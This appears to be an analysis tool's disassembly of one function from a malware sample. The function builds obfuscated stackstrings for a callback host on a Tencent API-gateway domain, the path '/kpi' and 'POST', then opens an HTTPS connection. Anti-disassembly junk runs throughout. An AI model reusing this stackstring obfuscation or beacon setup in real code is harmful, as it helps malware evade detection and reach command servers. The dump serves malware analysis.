Function at 0x40a4e8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x9a], 0x2d
mov byte [ebp - 0x99], 0
mov byte [ebp - 0x98], 0x6b
mov byte [ebp - 0x97], 0
mov byte [ebp - 0x96], 0x36
mov byte [ebp - 0x95], 0
mov byte [ebp - 0x94], 0x69
mov byte [ebp - 0x93], 0
mov byte [ebp - 0x92], 0x79
mov byte [ebp - 0x91], 0
mov byte [ebp - 0x90], 0x6c
mov byte [ebp - 0x8f], 0
mov byte [ebp - 0x8e], 0x61
mov byte [ebp - 0x8d], 0
mov byte [ebp - 0x8c], 0x71
mov byte [ebp - 0x8b], 0
mov byte [ebp - 0x8a], 0x74
mov byte [ebp - 0x89], 0
mov byte [ebp - 0x88], 0x2d
mov byte [ebp - 0x87], 0
mov byte [ebp - 0x86], 0x31
mov byte [ebp - 0x85], 0
mov byte [ebp - 0x84], 0x33
mov byte [ebp - 0x83], 0
mov byte [ebp - 0x82], 0x31
mov byte [ebp - 0x81], 0
mov byte [ebp - 0x80], 0x39
mov byte [ebp - 0x7f], 0
mov byte [ebp - 0x7e], 0x35
mov byte [ebp - 0x7d], 0
mov byte [ebp - 0x7c], 0x38
mov byte [ebp - 0x7b], 0
mov byte [ebp - 0x7a], 0x34
mov byte [ebp - 0x79], 0
mov byte [ebp - 0x78], 0x30
mov byte [ebp - 0x77], 0
mov byte [ebp - 0x76], 0x30
mov byte [ebp - 0x75], 0
mov byte [ebp - 0x74], 0x39
mov byte [ebp - 0x73], 0
mov byte [ebp - 0x72], 0x2e
mov byte [ebp - 0x71], 0
mov byte [ebp - 0x70], 0x62
mov byte [ebp - 0x6f], 0
mov byte [ebp - 0x6e], 0x6a
mov byte [ebp - 0x6d], 0
mov byte [ebp - 0x6c], 0x2e
mov byte [ebp - 0x6b], 0
mov byte [ebp - 0x6a], 0x74
mov byte [ebp - 0x69], 0
mov byte [ebp - 0x68], 0x65
mov byte [ebp - 0x67], 0
mov byte [ebp - 0x66], 0x6e
mov byte [ebp - 0x65], 0
mov byte [ebp - 0x64], 0x63
mov byte [ebp - 0x63], 0
mov byte [ebp - 0x62], 0x65
mov byte [ebp - 0x61], 0
mov byte [ebp - 0x60], 0x6e
mov byte [ebp - 0x5f], 0
mov byte [ebp - 0x5e], 0x74
mov byte [ebp - 0x5d], 0
mov byte [ebp - 0x5c], 0x61
mov byte [ebp - 0x5b], 0
mov byte [ebp - 0x5a], 0x70
mov byte [ebp - 0x59], 0
mov byte [ebp - 0x58], 0x69
mov byte [ebp - 0x57], 0
mov byte [ebp - 0x56], 0x67
mov byte [ebp - 0x55], 0
mov byte [ebp - 0x54], 0x77
mov byte [ebp - 0x53], 0
mov byte [ebp - 0x52], 0x2e
mov byte [ebp - 0x51], 0
mov byte [ebp - 0x50], 0x63
mov byte [ebp - 0x4f], 0
mov byte [ebp - 0x4e], 0x6f
mov byte [ebp - 0x4d], 0
mov byte [ebp - 0x4c], 0x6d
mov byte [ebp - 0x4b], 0
mov byte [ebp - 0x4a], 0x2e
mov byte [ebp - 0x49], 0
mov byte [ebp - 0x48], 0x63
mov byte [ebp - 0x47], 0
mov byte [ebp - 0x46], 0x6e
mov byte [ebp - 0x45], 0
mov byte [ebp - 0x44], 0
mov byte [ebp - 0x43], 0
mov byte [ebp - 0x34], 0x2f
mov byte [ebp - 0x33], 0
mov byte [ebp - 0x32], 0x6b
mov byte [ebp - 0x31], 0
mov byte [ebp - 0x30], 0x70
mov byte [ebp - 0x2f], 0
mov byte [ebp - 0x2e], 0x69
mov byte [ebp - 0x2d], 0
mov byte [ebp - 0x2c], 0
mov byte [ebp - 0x2b], 0
mov byte [ebp - 0x40], 0x50
mov byte [ebp - 0x3f], 0
mov byte [ebp - 0x3e], 0x4f
mov byte [ebp - 0x3d], 0
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], 0
mov byte [ebp - 0x3a], 0x54
mov byte [ebp - 0x39], 0
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x37], 0
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40a6ef
je 0x40a6f0
invalid
pop ebx
call 0x40a6f7
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
push 0x100
push 0
lea edx, [ebp - 0x1d4]
push edx
call fcn.00409c8f
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.0040a2cf
add esp, 4
test eax, eax
jne 0x40a72b
xor eax, eax
jmp 0x40ae65
jle 0x40a738
jg 0x40a738
call 0x60d137cc
nop
nop
nop
pushal
jmp 0x40a772
popal
jmp 0x40a776
jmp 0x40a779
jle 0x40a786
jg 0x40a786
call 0x975ff2
add byte [ebx - 0x17aef7b3], cl
imul edi, edx, 0xffffffff
inc dword [ebx - 0x3f7af73c]
push 0x56b8
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040a1ff
add esp, 8
test eax, eax
jne 0x40a7a2
xor eax, eax
jmp 0x40ae65
jle 0x40a7af
jg 0x40a7af
call 0xa8ac1d
xor byte [eax], al
add byte [eax], ch
add byte [eax], dl
add byte [edx], ch
push 4
push 0x3000
push 0x100000
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x174]
call eax
mov dword [ebp - 0x10], eax
push 0x100000
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00409c8f
add esp, 0xc
cmp dword [ebp - 0x10], 0
jne 0x40a7eb
xor eax, eax
jmp 0x40ae65
push 0x7dc8
mov edx, dword [ebp + 8]
push edx
call fcn.0040a1ff
add esp, 8
test eax, eax
jne 0x40a807
xor eax, eax
jmp 0x40ae65
jmp 0x40a80a
jmp 0x40a80d
jmp 0x40a810
nop
nop
nop
pushal
jmp 0x40a84a
popal
nop
nop
nop
pushal
jmp 0x40a885
popal
nop
nop
nop
pushal
jmp 0x40a8c0
popal
je 0x40a8cf
jne 0x40a8cf
push 0x654c6c45
ja 0x40a93b
push edx
insb byte es:[edi], dx
inc esp
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1a0]
call ecx
mov dword [ebp - 0x1c], eax
jle 0x40a8f4
jg 0x40a8f4
call 0x125267b
cmp dword [ebp - 0x1c], 0
je 0x40a91a
push 0
push 0x1bb
lea edx, [ebp - 0xa8]
push edx
mov eax, dword [ebp - 0x1c]
inc ebp
in al, 0x50
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret